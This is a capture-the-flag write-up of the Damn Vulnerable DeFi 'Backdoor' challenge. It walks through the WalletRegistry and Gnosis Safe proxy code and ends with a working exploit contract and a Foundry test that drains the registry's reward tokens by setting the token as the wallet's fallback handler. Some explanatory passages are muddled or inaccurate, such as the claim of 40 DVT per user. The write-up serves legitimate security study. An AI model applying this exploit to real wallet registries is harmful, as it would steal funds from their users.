To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.
Currently there are four people registered as beneficiaries:
Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance
to be distributed among them.
Your goal is to take all funds from the registry. In a single transaction.
WalletRegistry.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import {Ownable} from "openzeppelin-contracts/access/Ownable.sol";
import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";
import {GnosisSafe} from "gnosis/GnosisSafe.sol";
import {IProxyCreationCallback} from "gnosis/proxies/IProxyCreationCallback.sol";
import {GnosisSafeProxy} from "gnosis/proxies/GnosisSafeProxy.sol";
/**
* @title WalletRegistry
* @notice A registry for Gnosis Safe wallets.
* When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
* @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract WalletRegistry is IProxyCreationCallback, Ownable {
uint256 private constant MAX_OWNERS = 1;
uint256 private constant MAX_THRESHOLD = 1;
uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18
address public immutable masterCopy;
address public immutable walletFactory;
IERC20 public immutable token;
mapping(address => bool) public beneficiaries;
// owner => wallet
mapping(address => address) public wallets;
error AddressZeroIsNotAllowed();
error NotEnoughFundsToPay();
error CallerMustBeFactory();
error FakeMasterCopyUsed();
error WrongInitialization();
error InvalidThreshold();
error InvalidNumberOfOwners();
error OwnerIsNotRegisteredAsBeneficiary();
constructor(
address masterCopyAddress,
address walletFactoryAddress,
address tokenAddress,
address[] memory initialBeneficiaries
) {
if (masterCopyAddress == address(0)) revert AddressZeroIsNotAllowed();
if (walletFactoryAddress == address(0)) {
revert AddressZeroIsNotAllowed();
}
masterCopy = masterCopyAddress;
walletFactory = walletFactoryAddress;
token = IERC20(tokenAddress);
for (uint256 i = 0; i < initialBeneficiaries.length; i++) {
addBeneficiary(initialBeneficiaries[i]);
}
}
function addBeneficiary(address beneficiary) public onlyOwner {
beneficiaries[beneficiary] = true;
}
function _removeBeneficiary(address beneficiary) private {
beneficiaries[beneficiary] = false;
}
/**
* @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
* setting the registry's address as the callback.
*/
function proxyCreated(
GnosisSafeProxy proxy,
address singleton,
bytes calldata initializer,
uint256
) external override {
// Make sure we have enough DVT to pay
if (token.balanceOf(address(this)) < TOKEN_PAYMENT) {
revert NotEnoughFundsToPay();
}
address payable walletAddress = payable(proxy);
// Ensure correct factory and master copy
if (msg.sender != walletFactory) revert CallerMustBeFactory();
if (singleton != masterCopy) revert FakeMasterCopyUsed();
// Ensure initial calldata was a call to `GnosisSafe::setup`
if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
revert WrongInitialization();
}
// Ensure wallet initialization is the expected
if (GnosisSafe(walletAddress).getThreshold() != MAX_THRESHOLD) {
revert InvalidThreshold();
}
if (GnosisSafe(walletAddress).getOwners().length != MAX_OWNERS) {
revert InvalidNumberOfOwners();
}
// Ensure the owner is a registered beneficiary
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
if (!beneficiaries[walletOwner]) {
revert OwnerIsNotRegisteredAsBeneficiary();
}
// Remove owner as beneficiary
_removeBeneficiary(walletOwner);
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
// Pay tokens to the newly created wallet
token.transfer(walletAddress, TOKEN_PAYMENT);
}
}
This contract is used for registering Gnosis Safe Wallet, and if known beneficiaries deploy and register it, this contract will send DVT ERC20 tokens to the wallet. This contract includes verification logic to ensure that only legally registered Gnosis Safe Wallets are stored.
This contract manages user data based on the beneficiaries
mapping structure for Gnosis Safe Wallet registration. The wallets
mapping structure manages wallet data for users with owner permissions.
constructor
This contract's constructor performs the following tasks based on the deployed addresses of GnosisSafe, GnosisSafeProxyFactory, and ERC20:DVT Contract:
✅ The masterCopyAddress (GnosisSafe) state variable must not be address(0).
✅ The walletFactoryAddress (GnosisSafeProxyFactory) state variable must not be address(0).
The initialBeneficiaries
array is used as a local variable in this constructor and the addBeneficiary
function is called to register users who are eligible for registration in the Beneficiary
state variable and perform the initial setup of the registration process.
function addBeneficiary(address beneficiary) public onlyOwner
The onlyOwner
modifier performs verification logic (@Openzeppelin) and is publicly accessible through the external call directive.
The beneficiaries
mapping structure assigns a value of true
based on the beneficiary
index.
function _removeBeneficiary(address beneficiary) private
The private access directive allows only internal contract calls.
The beneficiaries
mapping structure assigns a value of false
based on the beneficiary
index.
function proxyCreated(GnosisSafeProxy proxy, address singleton, byte calldata initializer, uint256) external override
function proxyCreated(
GnosisSafeProxy proxy,
address singleton,
bytes calldata initializer,
uint256
) external override {
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
address payable walletAddress = payable(proxy);
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
_removeBeneficiary(walletOwner);
wallets[walletOwner] = walletAddress;
token.transfer(walletAddress, TOKEN_PAYMENT);
}
✅ The value held by address(this)
based on the ERC20 DVT token's balanceOf
function must be greater than or equal to TOKEN_PAYMENT
, and it verifies that there is enough DVT to pay.
walletAddress
payable local variable with the payable applied.✅ The value of msg.sender
must be the same address as walletFactoryAddress (GnosisSafeProxyFactory)
, meaning that the caller must be GnosisSafeProxyFactory.
✅ The address of singleton
must be the same address as masterCopyAddress (GnosisSafe)
, and this checks whether it is the correct factory and masterCopy contract.
✅ Based on the verification of bytes4(initializer[:4]) == GnosisSafe.setup.selector
, it checks whether the initial call data is a call to the GnosisSafe::setup
function selector.
✅ Based on the verification of GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD
, it checks whether the threshold value is 1.
✅ Based on the verification of GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS
, it checks whether the number of Owners is 1 and performs exception handling for wallet initialization.
getOwners()
function based on the walletAddress
, and checks whether the owner is registered as a beneficiary
.✅ The beneficiaries
mapping structure assigns a value of true
to the walletOwner
index based on the verification of beneficiary
registration.
✅ The wallets
mapping structure assigns the walletAddress
to the walletOwner
index based on the verification of walletOwner
registration.
It sends a DVT
token to the walletAddress
based on the TOKEN_PAYMENT
value.
It checks whether the walletAddress
is the same as the msg.sender
value and returns the result.
✅ Based on the verification of beneficiary
registration, it returns the walletAddress
as a successful result.
✅ Based on the verification of walletOwner
registration, it returns the walletAddress
as a successful result.
GnosisSafeProxy.sol , IProxyCreationCallback.sol
IProxyCreationCallback.sol
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "./GnosisSafeProxy.sol";
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
GnosisSafeProxy.sol
Using a GnosisSafeProxy general proxy contract allows you to execute all transactions that apply the masterCopy contract code.
interface IProxy {
function masterCopy() external view returns (address);
}
This is a helper interface for accessing the masterCopy of an on-chain proxy.
constructor
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
The singleton
variable must always be declared first, so the call must be in the same location as the delegated contract.
In order to reduce deployment costs, this singleton
variable is internal
and must be searched through getStorageAt
.
✅ The address value of _singleton
must not be address(0)
.
fallback
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
The fallback function passes on all transactions and returns all received return data.
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
The storage load pushes the next stack with the loaded index from storage, and in this case we can see that 0 argument is passed, so it is storage[0]
.
At the contract code level, address owner
means the address of the owner, and this logic assigns the actual address value to the _singleton
stack by performing an and operation on the owner's address value.
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
The value of 0xa619486e == keccak("masterCopy()")
is padded with 0s on the right to 32 bytes, and as we can see, it must be the address of the masterCopy contract, and then the address of the owner is assigned to the first address in memory and the call is completed.
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
If the above conditions are not met, then the contract copies the call data from position 0 to position 0, with a size of calldatasize
, using the calldatacopy
function.
We will now look at the next line in the assembly block using the delegatecall
opcode.
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
gas
: The gas needed to execute the function.
_singleton
: The address of the contract we are calling.
0
: The memory pointer where the data starts.
calldatasize
: The size of the data we are passing.
0
: The output data where the return value of the contract call will be stored. Since we don't know the size of the output data yet, it cannot be stored in a variable and is not used. Later, we can access this information using the returndata opcode.
0
: The size out. This is 0 because we did not have an opportunity to create a temporary variable to store the data before calling another contract. Later, we can get this value using the returndatasize opcode.
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
If the size of the returned data is used to copy the contents of the returned data to the first address using the helper opcode function returndatacopy
. If a problem occurs based on the final branch, an exception is raised.
GnosisSafeProxyFactory.sol
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy)
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
You can create a new proxy contract within single transaction and execute a message call
for the new proxy.
The address of singleton
single tone contract. memory data
is payload data for 'message call' sent to the new proxy contract.
call Stack input
gas
: amount of gas to send to the sub context to execute. The gas that is not used by the sub context is returned to this one.
address
: the account which context to execute.
argsOffset
: byte offset in the memory in bytes, the calldata of the sub context.
argsSize
: byte size to copy (size of the calldata).
retOffset
: byte offset in the memory in bytes, where to store the return data of the sub context.
retSize
: byte size to copy (size of the return data).
We can see that the call
command is being executed, and based on the above arguments, we can see that the payload data for the new Proxy
message call is located at memory address argsOffset + 0x20
.
function proxyRuntimeCode() public pure returns (bytes memory)
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
The runtime code of a deployed proxy can be searched.
This can be used to verify that the expected proxy has been deployed.
type(X).runtimeCode
A memory byte array containing the runtime byte code. This is typically the code that is deployed by the constructor of X. If the constructor of X uses inline assembly, the actual deployed byte code may differ from this. Also, libraries may modify the runtime bytecode at deployment to prevent general calls. The same limitations as
.creationCode
apply to this attribute as well.
proxyCreationCode() public pure returns (bytes memory)
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
creationcode
used to deploy a proxy. This allows you to easily calculate the expected address.type(X).creationCode
A memory byte array containing the contract's creation bytecode. This can be used to build a custom creation routine using the create2 opcode, particularly in inline assembly. This property cannot be accessed from within the contract itself or derived contracts. Recursive references such as this are not possible due to the bytecode being included in the calling site's bytecode.
function deployProxyWithNonce(address _singleton, bytes memory initializer, uint256 saltNonce) internal returns (GnosisSafeProxy proxy)
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
The CREATE2 opcode can be used to create a new proxy contract, but it does not perform the initializer
function.
This method is only used as a utility called from other methods.
saltNonce
is the Nonce used to generate the salt for calculating the address of the new proxy contract.
If the initialization program changes, the proxy address must also change.
Hashing the initializer
data is more gas-efficient than simply concatenating it.
create2 stack Input
The contract configuration is set up using the proxy pattern with the Gnosis lib contract. GnosisSafe
is the contract that includes the actual business logic of the Gnosis Wallet. The GnosisSafeProxyFactory
has made it possible to replicate GnosisSafe's gas fees properly, because there is no need to deploy the overall business logic again.
this.walletRegistry = await (await ethers.getContractFactory('WalletRegistry', deployer)).deploy(
this.masterCopy.address,
this.walletFactory.address,
this.token.address,
users
);
The contract configuration is made up of a proxy pattern using the Gnosis lib contract, with the walletRegistry
contract deployed and the addresses of previously deployed contracts and the mentioned four beneficiaries being passed. It can be seen that after these users are registered with the contract, they are provided with a reward of 40DVT each, belonging to them. It is important to note that while the attacker must successfully move all 40 DVT to the attacker's wallet, the wallets of the four users must also be registered as beneficiaries
and not registered as beneficiaries
anymore. However, during the setup of the contract, the wallets for each user who can claim this reward were not created, allowing the attacker to claim the reward in their own wallet even though they are not the intended beneficiary.
walletRegistry.sol::proxyCreated
/**
@notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
setting the registry's address as the callback.
*/
function proxyCreated(
GnosisSafeProxy proxy,
address singleton,
bytes calldata initializer,
uint256
) external override {
We are checking if the vulnerability in the callback function can only be called by the GnosisSafeProxyFactory
contract, the caller.
// Ensure correct factory and master copy
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector,"Wrong initialization");
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// Ensure the owner is a registered beneficiary
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
beneficiaries
, and checks whether the first owner of the wallet is registered as the beneficiaries
. MAX_THRESHOLD and MAX_OWNERS are both 1, so even if they become a subOwner, they cannot be ignored.// Remove owner as beneficiary
_removeBeneficiary(walletOwner);
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
// Pay tokens to the newly created wallet
token.transfer(walletAddress, TOKEN_PAYMENT);
The process is completed by removing beneficiaries
and registering the wallet address and sending tokens.
As we saw in the previous access vector, walletRegistry.sol
is the only contract that can call the callback, so we will analyze it.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
In this function, you can see that it performs the call
instruction. It calls the newly created proxy contract with the calldata passed to the initializer
variable.
initializer
is a bytes array stored in memory, so when accessing the value in the assembly, the actual value can be a number, memory pointer, or bytes array.
In Solidity, the first 32 bytes (hex 0x20) of a bytes array is not the actual value passed to initializer
, but is the unsigned value of initializer
by default.
Therefore, mload(initializer)
loads the length from memory and add(initializer, 0x20)
calculates the address in memory where the actual initializer
value starts.
This means that call()
passes all available gas()
to the proxy and specifies the entire initializer
variable as calldata
, ignoring returndata
.
Finally, eq(call)
reverts if the call fails.
From analyzing the previous code, we can see that there is a specific signal in GnosisSafe::setup()
through initializer
.
GnosisSafe.sol
/// @dev Setup function sets initial storage of contract.
/// @param _owners List of Safe owners.
/// @param _threshold Number of required confirmations for a Safe transaction.
/// @param to Contract address for optional delegate call.
/// @param data Data payload for optional delegate call.
/// @param fallbackHandler Handler for fallback calls to this contract
/// @param paymentToken Token that should be used for the payment (0 is ETH)
/// @param payment Value that should be paid
/// @param paymentReceiver Adddress that should receive the payment (or 0 if tx.origin)
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
GnosisSafe::setup()
, we will analyze the following GnosisSafe contract.optional delegate call'
is possible.if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
It seems that optional delegatecall
using 'to' and 'data' parameters is performed immediately.
Registry callback is called after setup
is completed. If you haven't received the DVT token yet at this point, it's impossible to add an owner because the callback check will fail.
fallbackHandler
can also be deleted, in this case, fallbackHandler
can be triggered during the Exploit process. If callback sends a DVT token to the wallet, it can execute arbitrary code within the Wallet Context, such as triggering a fallback and moving all tokens to the attacker's EOA.FallbackManager.sol::fallback
// solhint-disable-next-line payable-fallback,no-complex-fallback
fallback() external {
bytes32 slot = FALLBACK_HANDLER_STORAGE_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
let handler := sload(slot)
if iszero(handler) {
return(0, 0)
}
calldatacopy(0, 0, calldatasize())
// The msg.sender address is shifted to the left by 12 bytes to remove the padding
// Then the address without padding is stored right after the calldata
mstore(calldatasize(), shl(96, caller()))
// Add 20 bytes for the address appended add the end
let success := call(gas(), handler, 0, 0, add(calldatasize(), 20), 0, 0)
returndatacopy(0, 0, returndatasize())
if iszero(success) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
Allows you to call a single address. Since there is no transfer
function in GnosisSafe Contract, the token address should be set to fallbackHandler
and transfer()
call from the wallet.
Token contract can be called from the wallet.
contract BackdoorExploit {
constructor(
address masterCopyAddress,
IProxyCreationCallback registryAddress,
GnosisSafeProxyFactory walletFactory,
address[] memory targetBeneficiary,
IERC20 token
) {
// Create a wallet for each beneficiary.
for (uint256 i = 0; i < targetBeneficiary.length; i++) {
address beneficiary = targetBeneficiary[i];
address[] memory owners = new address[](1);
owners[0] = beneficiary;
address wallet = address(
walletFactory.createProxyWithCallback(
masterCopyAddress, // Gnosis master copy (Singleton)
abi.encodeWithSelector( // <-- initializer bytes array
GnosisSafe.setup.selector, // 1. GnosisSafe Setup Function Selector
owners, // 2. registered beneficiary user
1, // 3. Threshold == 1
address(0x0), // 4. Optional DelegateCall
0x0, // 5. Optional DelegateCall
address(token), // 6. fallbackHandler token
address(0x0), // 7. payment token
0, // 8. Payment
address(0x0) // 9. Payment receiver
),
0, // salt == 0
registryAddress // Registry callback <- Exploit
)
);
IERC20(wallet).transfer(msg.sender, 10 ether);
}
}
}
contract Backdoor is DSTest {
Vm internal immutable vm = Vm(HEVM_ADDRESS);
uint256 internal constant AMOUNT_TOKENS_DISTRIBUTED = 40e18;
uint256 internal constant NUM_USERS = 4;
Utilities internal utils;
DamnValuableToken internal dvt;
GnosisSafe internal masterCopy;
GnosisSafeProxyFactory internal walletFactory;
WalletRegistry internal walletRegistry;
address[] internal users;
address payable internal attacker;
address internal alice;
address internal bob;
address internal charlie;
address internal david;
function setUp() public {
utils = new Utilities();
users = utils.createUsers(NUM_USERS);
alice = users[0];
bob = users[1];
charlie = users[2];
david = users[3];
vm.label(alice, "Alice");
vm.label(bob, "Bob");
vm.label(charlie, "Charlie");
vm.label(david, "David");
attacker = payable(
address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))
);
vm.label(attacker, "Attacker");
// Deploy Gnosis Safe master copy and factory contracts
masterCopy = new GnosisSafe();
vm.label(address(masterCopy), "Gnosis Safe");
walletFactory = new GnosisSafeProxyFactory();
vm.label(address(walletFactory), "Wallet Factory");
dvt = new DamnValuableToken();
vm.label(address(dvt), "DVT");
// Deploy the registry
walletRegistry = new WalletRegistry(
address(masterCopy),
address(walletFactory),
address(dvt),
users
);
// Users are registered as beneficiaries
for (uint256 i = 0; i < NUM_USERS; i++) {
assertTrue(walletRegistry.beneficiaries(users[i]));
}
// Transfer tokens to be distributed to the registry
dvt.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);
}
function testExploit() public {
vm.startPrank(attacker);
new BackdoorExploit(
address(masterCopy),
IProxyCreationCallback(address(walletRegistry)),
walletFactory,
users,
IERC20(address(dvt))
);
vm.stopPrank();
validation();
}
function validation() internal {
for (uint256 i = 0; i < NUM_USERS; i++) {
address wallet = walletRegistry.wallets(users[i]);
// User must have registered a wallet
if (wallet == address(0)) {
emit log("User did not register a wallet");
fail();
}
// User is no longer registered as a beneficiary
assertTrue(!walletRegistry.beneficiaries(users[i]));
}
// Attacker must have taken all tokens
assertEq(dvt.balanceOf(attacker), AMOUNT_TOKENS_DISTRIBUTED);
}
}
Thank you for the @tinchoabbate that made a good wargame.